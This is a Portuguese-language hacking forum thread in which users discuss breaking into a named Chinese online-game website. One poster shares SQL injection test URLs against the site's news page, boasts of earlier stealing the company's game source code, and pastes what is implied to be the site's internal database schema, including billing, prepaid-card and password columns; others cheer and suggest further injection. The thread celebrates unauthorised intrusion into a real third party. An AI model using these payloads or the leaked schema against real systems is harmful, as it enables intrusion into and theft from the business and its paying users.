Gente o site é super vuln, eu so nao ownei por causa de um PEQUENO PROBLEMINHA que vocês vão reparar de primeira...
http://www.dk2.com.cn/view.asp?news_id=19'4 (http://www.dk2.com.cn/view.asp?news_id=19'4)
http://www.dk2.com.cn/view.asp?news_id=0+OR+1 (http://www.dk2.com.cn/view.asp?news_id=0+OR+1)
E uma outra coisa que eu não sei, é que o servidor do banco de dados é esse Microsoft Jet, ou seja não é SQL, ele funciona apenas como um interpretador, não da pra fazer um monte coisas tipo combinar injects com ;.
Mas ta ai o site de um dos maiores jogos online do momento e ta vulzao ainda por cima...
Boa WueRfez =]
Huahauhau, foda. Já peguei um servidor assim, há pouco tempo inclusive. Era um site que tava louco pra ownar.
E num OFF aqui, você gosta de MMORPGs né?
HadeS
Demorei um pouco pra responder mas heheh gosto sim, na verdade eu nem gosto de jogar, mas gosto da parte de desenvolver o jogo, eu estou tentando ownar esse Dk2, porque eu ja ownei esses chinas uma vez e roubei os sources deles, e agora queria roubar o site mas ta ok..
FalouzZzzz
Se voce nao ownou ainda, vale a tentativa de usar Advanced SQL Injection. Querys do tipo "SELECT * FROM USERS".
[]'s
//Colt
O problema é que a sintaxe do sql muda de servidor pra servidor, eu não sabia como eram as regras do microsoft jet (server que eles usam) e por isso foi muito dificil, eu acho que deveria existir um padrao pelo menos entre os 4 principais mysql, postgres, ms-sql e oracle.........
mas enfim, eu sempre consigo o que eu quero com uma forcinha...................
C R E A T E T A B L E [ d b o ] . [ F S _ B i l l ] (
[ B i l l I D ] [ i n t ] I D E N T I T Y ( 1 , 1 ) N O T N U L L ,
[ U s e r N a m e ] [ v a r c h a r ] ( 1 0 ) C O L L A T E C h i n e s e _ P R C _ C I _ A S N O T N U L L ,
[ G a m e A r e a ] [ s m a l l i n t ] N O T N U L L ,
[ P a y K i n d ] [ t i n y i n t ] N O T N U L L ,
[ C a r d K i n d ] [ v a r c h a r ] ( 4 ) C O L L A T E C h i n e s e _ P R C _ C I _ A S N O T N U L L ,
[ C a r d T y p e ] [ t i n y i n t ] N O T N U L L ,
[ P a y M o n e y ] [ s m a l l M o n e y ] N O T N U L L ,
[ P o i n t ] [ s m a l l i n t ] N O T N U L L ,
[ D a y s ] [ s m a l l i n t ] N O T N U L L ,
[ B i l l N o ] [ v a r c h a r ] ( 1 2 ) C O L L A T E C h i n e s e _ P R C _ C I _ A S N O T N U L L ,
[ B i l l T i m e ] [ d a t e t i m e ] N O T N U L L ,
[ A t t a c h ] [ v a r c h a r ] ( 2 5 5 ) C O L L A T E C h i n e s e _ P R C _ C I _ A S N O T N U L L ,
[ S t a t u s ] [ t i n y i n t ] N O T N U L L ,
[ P a y I P ] [ v a r c h a r ] ( 1 5 ) C O L L A T E C h i n e s e _ P R C _ C I _ A S N O T N U L L ,
[ S u c c T i m e ] [ d a t e t i m e ] N U L L ,
[ M s g ] [ v a r c h a r ] ( 2 5 5 ) C O L L A T E C h i n e s e _ P R C _ C I _ A S N U L L ,
[ S i g n a t u r e ] [ v a r c h a r ] ( 5 0 0 ) C O L L A T E C h i n e s e _ P R C _ C I _ A S N U L L ,
[ C h a r g e C a r d ] [ v a r c h a r ] ( 1 4 ) C O L L A T E C h i n e s e _ P R C _ C I _ A S N U L L ,
[ U s e S t a t u s ] [ t i n y i n t ] N U L L ,
[ O l d T i m e ] [ d a t e t i m e ] N U L L ,
[ N e w T i m e ] [ d a t e t i m e ] N U L L
) O N [ P R I M A R Y ]
G O
C R E A T E T A B L E [ d b o ] . [ F S _ C a r d ] (
[ C a r d I D ] [ i n t ] I D E N T I T Y ( 1 , 1 ) N O T N U L L ,
[ C a r d T y p e ] [ s m a l l i n t ] N O T N U L L ,
[ C a r d N o ] [ v a r c h a r ] ( 1 4 ) C O L L A T E C h i n e s e _ P R C _ C I _ A S N O T N U L L ,
[ P a s s w o r d ] [ v a r c h a r ] ( 3 2 ) C O L L A T E C h i n e s e _ P R C _ C I _ A S N O T N U L L ,
[ M a d e T i m e ] [ d a t e t i m e ] N O T N U L L ,
[ E x p i r e D a t e ] [ d a t e t i m e ] N O T N U L L ,
[ R e m a r k ] [ n v a r c h a r ] ( 1 0 0 ) C O L L A T E C h i n e s e _ P R C _ C I _ A S N O T N U L L ,
[ P o i n t ] [ i n t ] N O T N U L L ,
[ D a y s ] [ s m a l l i n t ] N O T N U L L ,
[ U s e r N a m e ] [ v a r c h a r ] ( 1 0 ) C O L L A T E C h i n e s e _ P R C _ C I _ A S N U L L ,
[ U s e T y p e ] [ b i t ] N U L L ,
[ G a m e A r e a ] [ s m a l l i n t ] N U L L ,
[ U s e T i m e ] [ d a t e t i m e ] N U L L ,
[ U s e I P ] [ v a r c h a r ] ( 1 5 ) C O L L A T E C h i n e s e _ P R C _ C I _ A S N U L L ,
[ O l d T i m e ] [ d a t e t i m e ] N U L L ,
[ N e w T i m e ] [ d a t e t i m e ] N U L L ,
[ I s L o c k ] [ b i t ] N O T N U L L ,
[ I s U s e ] [ b i t ] N O T N U L L
) O N [ P R I M A R Y ]
G O
C R E A T E T A B L E [ d b o ] . [ F S _ C a r d T y p e ] (
[ T y p e I D ] [ s m a l l i n t ] I D E N T I T Y ( 1 , 1 ) N O T N U L L ,
[ C a r d K i n d ] [ v a r c h a r ] ( 4 ) C O L L A T E C h i n e s e _ P R C _ C I _ A S N O T N U L L ,
[ T y p e N a m e ] [ n v a r c h a r ] ( 5 0 ) C O L L A T E C h i n e s e _ P R C _ C I _ A S N O T N U L L ,
[ P r i c e ] [ s m a l l M o n e y ] N O T N U L L ,
[ P o i n t ] [ s m a l l i n t ] N O T N U L L ,
[ D a y s ] [ s m a l l i n t ] N O T N U L L ,
[ C a r d C o u n t ] [ i n t ] N O T N U L L ,
[ U s e C o u n t ] [ i n t ] N O T N U L L ,
[ I s C a r d ] [ b i t ] N O T N U L L ,
[ D e l T y p e ] [ b i t ] N O T N U L L
) O N [ P R I M A R Y ]
G O
C R E A T E T A B L E [ d b o ] . [ F S _ C h o n g Z h i L o g ] (
[ C h o n g Z h i I D ] [ i n t ] I D E N T I T Y ( 1 , 1 ) N O T N U L L ,
[ U s e r N a m e ] [ v a r c h a r ] ( 1 0 ) C O L L A T E C h i n e s e _ P R C _ C I _ A S N O T N U L L ,
[ A r e a ] [ s m a l l i n t ] N O T N U L L ,
[ C a r d N o ] [ v a r c h a r ] ( 1 4 ) C O L L A T E C h i n e s e _ P R C _ C I _ A S N O T N U L L ,
[ P a s s w o r d ] [ v a r c h a r ] ( 8 ) C O L L A T E C h i n e s e _ P R C _ C I _ A S N O T N U L L ,
[ U s e T y p e ] [ t i n y i n t ] N O T N U L L ,
[ P o i n t ] [ s m a l l i n t ] N O T N U L L ,
[ D a y s ] [ s m a l l i n t ] N O T N U L L ,
[ C h o n g Z h i I P ] [ v a r c h a r ] ( 1 5 ) C O L L A T E C h i n e s e _ P R C _ C I _ A S N O T N U L L ,
[ C h o n g Z h i T i m e ] [ d a t e t i m e ] N O T N U L L ,
[ O l d T i m e ] [ d a t e t i m e ] N U L L ,
[ N e w T i m e ] [ d a t e t i m e ] N U L L
) O N [ P R I M A R Y ]
G O
C R E A T E T A B L E [ d b o ] . [ F S _ Q A ] (
[ Q u e s t i o n I D ] [ i n t ] I D E N T I T Y ( 1 , 1 ) N O T N U L L ,
[ U s e r N a m e ] [ v a r c h a r ] ( 1 0 ) C O L L A T E C h i n e s e _ P R C _ C I _ A S N O T N U L L ,
[ G a m e I D ] [ t i n y i n t ] N O T N U L L ,
[ A r e a I D ] [ t i n y i n t ] N O T N U L L ,
[ Z h o n g Z u ] [ t i n y i n t ] N O T N U L L ,
[ J i a o S e ] [ n v a r c h a r ] ( 2 0 ) C O L L A T E C h i n e s e _ P R C _ C I _ A S N O T N U L L ,
[ L i a n X i ] [ n v a r c h a r ] ( 1 0 0 ) C O L L A T E C h i n e s e _ P R C _ C I _ A S N O T N U L L ,
[ Q u e s t i o n ] [ n t e x t ] C O L L A T E C h i n e s e _ P R C _ C I _ A S N O T N U L L ,
[ Q u e s t i o n T i m e ] [ d a t e t i m e ] N O T N U L L ,
[ Q u e s t i o n I P ] [ v a r c h a r ] ( 1 5 ) C O L L A T E C h i n e s e _ P R C _ C I _ A S N O T N U L L ,
[ A n s w e r ] [ n t e x t ] C O L L A T E C h i n e s e _ P R C _ C I _ A S N U L L ,
[ A U s e r ] [ t i n y i n t ] N U L L ,
[ A n s w e r T i m e ] [ d a t e t i m e ] N U L L ,
[ A n s w e r I P ] [ v a r c h a r ] ( 1 5 ) C O L L A T E C h i n e s e _ P R C _ C I _ A S N U L L ,
[ I s A n s w e r ] [ b i t ] N O T N U L L ,
[ I s D e l ] [ b i t ] N O T N U L L
) O N [ P R I M A R Y ] T E X T I M A G E _ O N [ P R I M A R Y ]
G O
C R E A T E T A B L E [ d b o ] . [ F S _ U s e r W u p i n ] (
[ I D ] [ i n t ] I D E N T I T Y ( 1 , 1 ) N O T F O R R E P L I C A T I O N N O T N U L L ,
[ U s e r N a m e ] [ v a r c h a r ] ( 1 0 ) C O L L A T E C h i n e s e _ P R C _ C I _ A S N O T N U L L ,
[ W u p i n I D ] [ s m a l l i n t ] N O T N U L L ,
[ H a v e C o u n t ] [ i n t ] N O T N U L L
) O N [ P R I M A R Y ]
G O
C R E A T E T A B L E [ d b o ] . [ F S _ U s e W u p i n L o g ] (
[ U s e I D ] [ i n t ] I D E N T I T Y ( 1 , 1 ) N O T N U L L ,
[ U s e r N a m e ] [ v a r c h a r ] ( 1 0 ) C O L L A T E C h i n e s e _ P R C _ C I _ A S N O T N U L L ,
[ U s e r A r e a ] [ v a r c h a r ] ( 1 0 ) C O L L A T E C h i n e s e _ P R C _ C I _ A S N O T N U L L ,
[ W u p i n ] [ i n t ] N O T N U L L ,
[ U s e n u m ] [ i n t ] N O T N U L L ,
[ U N a m e ] [ n v a r c h a r ] ( 5 0 ) C O L L A T E C h i n e s e _ P R C _ C I _ A S N O T N U L L ,
[ U P a r t ] [ v a r c h a r ] ( 1 0 ) C O L L A T E C h i n e s e _ P R C _ C I _ A S N O T N U L L ,
[ U s e T i m e ] [ d a t e t i m e ] N O T N U L L ,
[ U s e I P ] [ v a r c h a r ] ( 1 5 ) C O L L A T E C h i n e s e _ P R C _ C I _ A S N O T N U L L ,
[ S t a t u s ] [ b i t ] N O T N U L L
) O N [ P R I M A R Y ]
G O
C R E A T E T A B L E [ d b o ] . [ F S _ W u p i n ] (
[ W u p i n I D ] [ s m a l l i n t ] N O T N U L L ,
[ W u p i n N a m e ] [ n v a r c h a r ] ( 1 0 0 ) C O L L A T E C h i n e s e _ P R C _ C I _ A S N O T N U L L ,
[ W u p i n K i n d ] [ t i n y i n t ] N O T N U L L ,
[ W u p i n P i c ] [ n v a r c h a r ] ( 1 0 0 ) C O L L A T E C h i n e s e _ P R C _ C I _ A S N O T N U L L ,
[ R e m a r k ] [ n v a r c h a r ] ( 1 0 0 0 ) C O L L A T E C h i n e s e _ P R C _ C I _ A S N O T N U L L ,
[ W u p i n P o i n t ] [ i n t ] N O T N U L L ,
[ T o t a l ] [ i n t ] N O T N U L L ,
[ T o t a l P o i n t ] [ i n t ] N O T N U L L ,
[ V a m p i r e ] [ b i t ] N O T N U L L ,
[ S l a y e r ] [ b i t ] N O T N U L L ,
[ O u s t e r s ] [ b i t ] N O T N U L L ,
[ D e l W u p i n ] [ b i t ] N O T N U L L
) O N [ P R I M A R Y ]
G O
C R E A T E T A B L E [ d b o ] . [ F S _ W u p i n R e c o r d ] (
[ R e c o r d I D ] [ b i g i n t ] I D E N T I T Y ( 1 , 1 ) N O T N U L L ,
[ U s e r N a m e ] [ v a r c h a r ] ( 1 0 ) C O L L A T E C h i n e s e _ P R C _ C I _ A S N O T N U L L ,
[ W u p i n I D ] [ s m a l l i n t ] N O T N U L L ,
[ C h a n g e C o u n t ] [ i n t ] N O T N U L L ,
[ C h a n g e R e a s o n ] [ n v a r c h a r ] ( 2 0 0 ) C O L L A T E C h i n e s e _ P R C _ C I _ A S N O T N U L L ,
[ C h a n g e T i m e ] [ d a t e t i m e ] N O T N U L L ,
[ C h a n g e I P ] [ v a r c h a r ] ( 1 5 ) C O L L A T E C h i n e s e _ P R C _ C I _ A S N O T N U L L
) O N [ P R I M A R Y ]
G O
A L T E R T A B L E [ d b o ] . [ F S _ C a r d ] W I T H N o C H E C K A D D
C O N S T R A I N T [ P K _ F S _ C a r d ] P R I M A R Y K E Y C L U S T E R E D
(
[ C a r d N o ]
) W I T H F I L L F A C T O R = 9 0 O N [ P R I M A R Y ]
G O
A L T E R T A B L E [ d b o ] . [ F S _ C a r d T y p e ] W I T H N o C H E C K A D D
C O N S T R A I N T [ P K _ F S _ C a r d T y p e ] P R I M A R Y K E Y C L U S T E R E D
(
[ C a r d K i n d ]
) W I T H F I L L F A C T O R = 9 0 O N [ P R I M A R Y ]
G O
A L T E R T A B L E [ d b o ] . [ F S _ W u p i n ] W I T H N o C H E C K A D D
C O N S T R A I N T [ P K _ F S _ W u p i n ] P R I M A R Y K E Y C L U S T E R E D
(
[ W u p i n I D ]
) W I T H F I L L F A C T O R = 9 0 O N [ P R I M A R Y ]
G O
C R E A T E C L U S T E R E D I N D E X [ I X _ F S _ C h o n g Z h i L o g ] O N [ d b o ] . [ F S _ C h o n g Z h i L o g ] ( [ C h o n g Z h i I D ] , [ A r e a ] , [ C h o n g Z h i T i m e ] ) W I T H F I L L F A C T O R = 9 0 O N [ P R I M A R Y ]
G O
A L T E R T A B L E [ d b o ] . [ F S _ B i l l ] A D D
C O N S T R A I N T [ D F _ F S _ B i l l _ B i l l T i m e ] D E F A U L T ( g e t d a t e ( ) ) F O R [ B i l l T i m e ]
G O
C R E A T E I N D E X [ I X _ F S _ B i l l ] O N [ d b o ] . [ F S _ B i l l ] ( [ B i l l I D ] ) W I T H F I L L F A C T O R = 9 0 O N [ P R I M A R Y ]
G O
C R E A T E I N D E X [ I X _ F S _ B i l l _ 1 ] O N [ d b o ] . [ F S _ B i l l ] ( [ B i l l N o ] ) W I T H F I L L F A C T O R = 9 0 O N [ P R I M A R Y ]
G O
C R E A T E I N D E X [ I X _ F S _ B i l l _ 2 ] O N [ d b o ] . [ F S _ B i l l ] ( [ U s e r N a m e ] , [ B i l l N o ] ) W I T H F I L L F A C T O R = 9 0 O N [ P R I M A R Y ]
G O
C R E A T E I N D E X [ I X _ F S _ B i l l _ 3 ] O N [ d b o ] . [ F S _ B i l l ] ( [ G a m e A r e a ] , [ B i l l I D ] ) O N [ P R I M A R Y ]
G O
C R E A T E I N D E X [ I X _ F S _ B i l l _ 4 ] O N [ d b o ] . [ F S _ B i l l ] ( [ G a m e A r e a ] , [ U s e r N a m e ] , [ B i l l I D ] ) O N [ P R I M A R Y ]
G O
C R E A T E I N D E X [ I X _ F S _ B i l l _ 5 ] O N [ d b o ] . [ F S _ B i l l ] ( [ C a r d K i n d ] , [ G a m e A r e a ] , [ B i l l T i m e ] ) O N [ P R I M A R Y ]
G O
C R E A T E I N D E X [ I X _ F S _ B i l l _ 6 ] O N [ d b o ] . [ F S _ B i l l ] ( [ G a m e A r e a ] , [ C a r d K i n d ] , [ B i l l T i m e ] ) O N [ P R I M A R Y ]
G O
A L T E R T A B L E [ d b o ] . [ F S _ C a r d ] A D D
C O N S T R A I N T [ D F _ F S _ C a r d _ M a d e T i m e ] D E F A U L T ( g e t d a t e ( ) ) F O R [ M a d e T i m e ] ,
C O N S T R A I N T [ D F _ F S _ C a r d _ I s L o c k ] D E F A U L T ( 0 ) F O R [ I s L o c k ] ,
C O N S T R A I N T [ D F _ F S _ C a r d _ I s U s e ] D E F A U L T ( 0 ) F O R [ I s U s e ]
G O
C R E A T E I N D E X [ I X _ F S _ C a r d ] O N [ d b o ] . [ F S _ C a r d ] ( [ C a r d T y p e ] ) W I T H F I L L F A C T O R = 9 0 O N [ P R I M A R Y ]
G O
C R E A T E I N D E X [ I X _ F S _ C a r d _ 1 ] O N [ d b o ] . [ F S _ C a r d ] ( [ U s e r N a m e ] ) W I T H F I L L F A C T O R = 9 0 O N [ P R I M A R Y ]
G O
C R E A T E I N D E X [ I X _ F S _ C a r d _ 2 ] O N [ d b o ] . [ F S _ C a r d ] ( [ U s e T i m e ] ) W I T H F I L L F A C T O R = 9 0 O N [ P R I M A R Y ]
G O
C R E A T E I N D E X [ I X _ F S _ C a r d _ 3 ] O N [ d b o ] . [ F S _ C a r d ] ( [ G a m e A r e a ] ) W I T H F I L L F A C T O R = 9 0 O N [ P R I M A R Y ]
G O
A L T E R T A B L E [ d b o ] . [ F S _ C a r d T y p e ] A D D
C O N S T R A I N T [ D F _ F S _ C a r d T y p e _ C a r d C o u n t ] D E F A U L T ( 0 ) F O R [ C a r d C o u n t ] ,
C O N S T R A I N T [ D F _ F S _ C a r d T y p e _ U s e C o u n t ] D E F A U L T ( 0 ) F O R [ U s e C o u n t ] ,
C O N S T R A I N T [ D F _ F S _ C a r d T y p e _ I s C a r d ] D E F A U L T ( 1 ) F O R [ I s C a r d ] ,
C O N S T R A I N T [ D F _ F S _ C a r d T y p e _ D e l T y p e ] D E F A U L T ( 0 ) F O R [ D e l T y p e ]
G O
A L T E R T A B L E [ d b o ] . [ F S _ C h o n g Z h i L o g ] A D D
C O N S T R A I N T [ D F _ F S _ C h o n g Z h i L o g _ C h o n g Z h i T i m e ] D E F A U L T ( g e t d a t e ( ) ) F O R [ C h o n g Z h i T i m e ]
G O
C R E A T E I N D E X [ I X _ F S _ C h o n g Z h i L o g _ 1 ] O N [ d b o ] . [ F S _ C h o n g Z h i L o g ] ( [ C a r d N o ] ) W I T H F I L L F A C T O R = 9 0 O N [ P R I M A R Y ]
G O
C R E A T E I N D E X [ I X _ F S _ C h o n g Z h i L o g _ 2 ] O N [ d b o ] . [ F S _ C h o n g Z h i L o g ] ( [ C h o n g Z h i T i m e ] ) W I T H F I L L F A C T O R = 9 0 O N [ P R I M A R Y ]
G O
C R E A T E I N D E X [ I X _ F S _ C h o n g Z h i L o g _ 3 ] O N [ d b o ] . [ F S _ C h o n g Z h i L o g ] ( [ A r e a ] , [ U s e r N a m e ] , [ C h o n g Z h i T i m e ] ) O N [ P R I M A R Y ]
G O
C R E A T E I N D E X [ I X _ F S _ C h o n g Z h i L o g _ 4 ] O N [ d b o ] . [ F S _ C h o n g Z h i L o g ] ( [ A r e a ] , [ C h o n g Z h i T i m e ] ) O N [ P R I M A R Y ]
G O
C R E A T E I N D E X [ I X _ F S _ C h o n g Z h i L o g _ 5 ] O N [ d b o ] . [ F S _ C h o n g Z h i L o g ] ( [ C h o n g Z h i T i m e ] ) O N [ P R I M A R Y ]
G O
C R E A T E I N D E X [ I X _ F S _ C h o n g Z h i L o g _ 6 ] O N [ d b o ] . [ F S _ C h o n g Z h i L o g ] ( [ O l d T i m e ] ) O N [ P R I M A R Y ]
G O
A L T E R T A B L E [ d b o ] . [ F S _ Q A ] A D D
C O N S T R A I N T [ D F _ F S _ Q A _ Q u e s t i o n T i m e ] D E F A U L T ( g e t d a t e ( ) ) F O R [ Q u e s t i o n T i m e ] ,
C O N S T R A I N T [ D F _ F S _ Q A _ A U s e r ] D E F A U L T ( 0 ) F O R [ A U s e r ] ,
C O N S T R A I N T [ D F _ F S _ Q A _ I s A n s w e r ] D E F A U L T ( 0 ) F O R [ I s A n s w e r ] ,
C O N S T R A I N T [ D F _ F S _ Q A _ I s D e l ] D E F A U L T ( 0 ) F O R [ I s D e l ]
G O
C R E A T E I N D E X [ I X _ F S _ Q A ] O N [ d b o ] . [ F S _ Q A ] ( [ Q u e s t i o n T i m e ] ) O N [ P R I M A R Y ]
G O
C R E A T E I N D E X [ I X _ F S _ Q A _ 1 ] O N [ d b o ] . [ F S _ Q A ] ( [ U s e r N a m e ] , [ Q u e s t i o n T i m e ] ) O N [ P R I M A R Y ]
G O
C R E A T E I N D E X [ I X _ F S _ Q A _ 2 ] O N [ d b o ] . [ F S _ Q A ] ( [ A U s e r ] , [ Q u e s t i o n T i m e ] ) O N [ P R I M A R Y ]
G O
A L T E R T A B L E [ d b o ] . [ F S _ U s e r W u p i n ] A D D
C O N S T R A I N T [ D F _ F S _ U s e r W u p i n _ H a v e C o u n t ] D E F A U L T ( 0 ) F O R [ H a v e C o u n t ]
G O
C R E A T E I N D E X [ I X _ F S _ U s e r W u p i n ] O N [ d b o ] . [ F S _ U s e r W u p i n ] ( [ U s e r N a m e ] , [ W u p i n I D ] ) W I T H F I L L F A C T O R = 9 0 O N [ P R I M A R Y ]
G O
C R E A T E I N D E X [ I X _ F S _ U s e r W u p i n _ 1 ] O N [ d b o ] . [ F S _ U s e r W u p i n ] ( [ W u p i n I D ] , [ U s e r N a m e ] ) W I T H F I L L F A C T O R = 9 0 O N [ P R I M A R Y ]
G O
C R E A T E I N D E X [ I X _ F S _ U s e r W u p i n _ 2 ] O N [ d b o ] . [ F S _ U s e r W u p i n ] ( [ W u p i n I D ] , [ H a v e C o u n t ] , [ U s e r N a m e ] ) W I T H F I L L F A C T O R = 9 0 O N [ P R I M A R Y ]
G O
A L T E R T A B L E [ d b o ] . [ F S _ U s e W u p i n L o g ] A D D
C O N S T R A I N T [ D F _ F S _ U s e W u p i n L o g _ U s e T i m e ] D E F A U L T ( g e t d a t e ( ) ) F O R [ U s e T i m e ] ,
C O N S T R A I N T [ D F _ F S _ U s e W u p i n L o g _ S t a t u s ] D E F A U L T ( 0 ) F O R [ S t a t u s ]
G O
C R E A T E I N D E X [ I X _ F S _ U s e W u p i n L o g ] O N [ d b o ] . [ F S _ U s e W u p i n L o g ] ( [ U s e I D ] ) W I T H F I L L F A C T O R = 9 0 O N [ P R I M A R Y ]
G O
C R E A T E I N D E X [ I X _ F S _ U s e W u p i n L o g _ 1 ] O N [ d b o ] . [ F S _ U s e W u p i n L o g ] ( [ U s e r N a m e ] , [ U s e T i m e ] ) W I T H F I L L F A C T O R = 9 0 O N [ P R I M A R Y ]
G O
A L T E R T A B L E [ d b o ] . [ F S _ W u p i n ] A D D
C O N S T R A I N T [ D F _ F S _ W u p i n _ T o t a l ] D E F A U L T ( 0 ) F O R [ T o t a l ] ,
C O N S T R A I N T [ D F _ F S _ W u p i n _ T o t a l P o i n t ] D E F A U L T ( 0 ) F O R [ T o t a l P o i n t ] ,
C O N S T R A I N T [ D F _ F S _ W u p i n _ D e l W u p i n ] D E F A U L T ( 0 ) F O R [ D e l W u p i n ]
G O
C R E A T E I N D E X [ I X _ F S _ W u p i n ] O N [ d b o ] . [ F S _ W u p i n ] ( [ W u p i n I D ] ) O N [ P R I M A R Y ]
G O
C R E A T E I N D E X [ I X _ F S _ W u p i n _ 1 ] O N [ d b o ] . [ F S _ W u p i n ] ( [ W u p i n K i n d ] , [ W u p i n I D ] ) O N [ P R I M A R Y ]
G O
A L T E R T A B L E [ d b o ] . [ F S _ W u p i n R e c o r d ] A D D
C O N S T R A I N T [ D F _ F S _ W u p i n R e c o r d _ C h a n g e T i m e ] D E F A U L T ( g e t d a t e ( ) ) F O R [ C h a n g e T i m e ]
G O
C R E A T E I N D E X [ I X _ F S _ W u p i n R e c o r d ] O N [ d b o ] . [ F S _ W u p i n R e c o r d ] ( [ U s e r N a m e ] , [ W u p i n I D ] , [ C h a n g e T i m e ] ) W I T H F I L L F A C T O R = 9 0 O N [ P R I M A R Y ]
G O
C R E A T E I N D E X [ I X _ F S _ W u p i n R e c o r d _ 1 ] O N [ d b o ] . [ F S _ W u p i n R e c o r d ] ( [ W u p i n I D ] , [ C h a n g e T i m e ] ) W I T H F I L L F A C T O R = 9 0 O N [ P R I M A R Y ]
G O
C R E A T E I N D E X [ I X _ F S _ W u p i n R e c o r d _ 2 ] O N [ d b o ] . [ F S _ W u p i n R e c o r d ] ( [ U s e r N a m e ] , [ C h a n g e T i m e ] ) W I T H F I L L F A C T O R = 9 0 O N [ P R I M A R Y ]
G O
Eita, deveria existir um padrão mesmo.
Essas tabelas é do site mesmo ou tá mostrando como exemplo?
E parabéns Wuefez!
HadeS
O que você acha?
heheheheheheheheheheheh
Cara eu to montando o site gidzero.org, no momento esta vazio, eu ia fazer o site em php mas decidi fazer em rails, a proposta do site é ser um site de segurança Brasileiro a nivel internacional, bem você sabe, depois eu passo aqui para postar mais informações.......
Quando tiver pronto dá um "Alô".
HadeS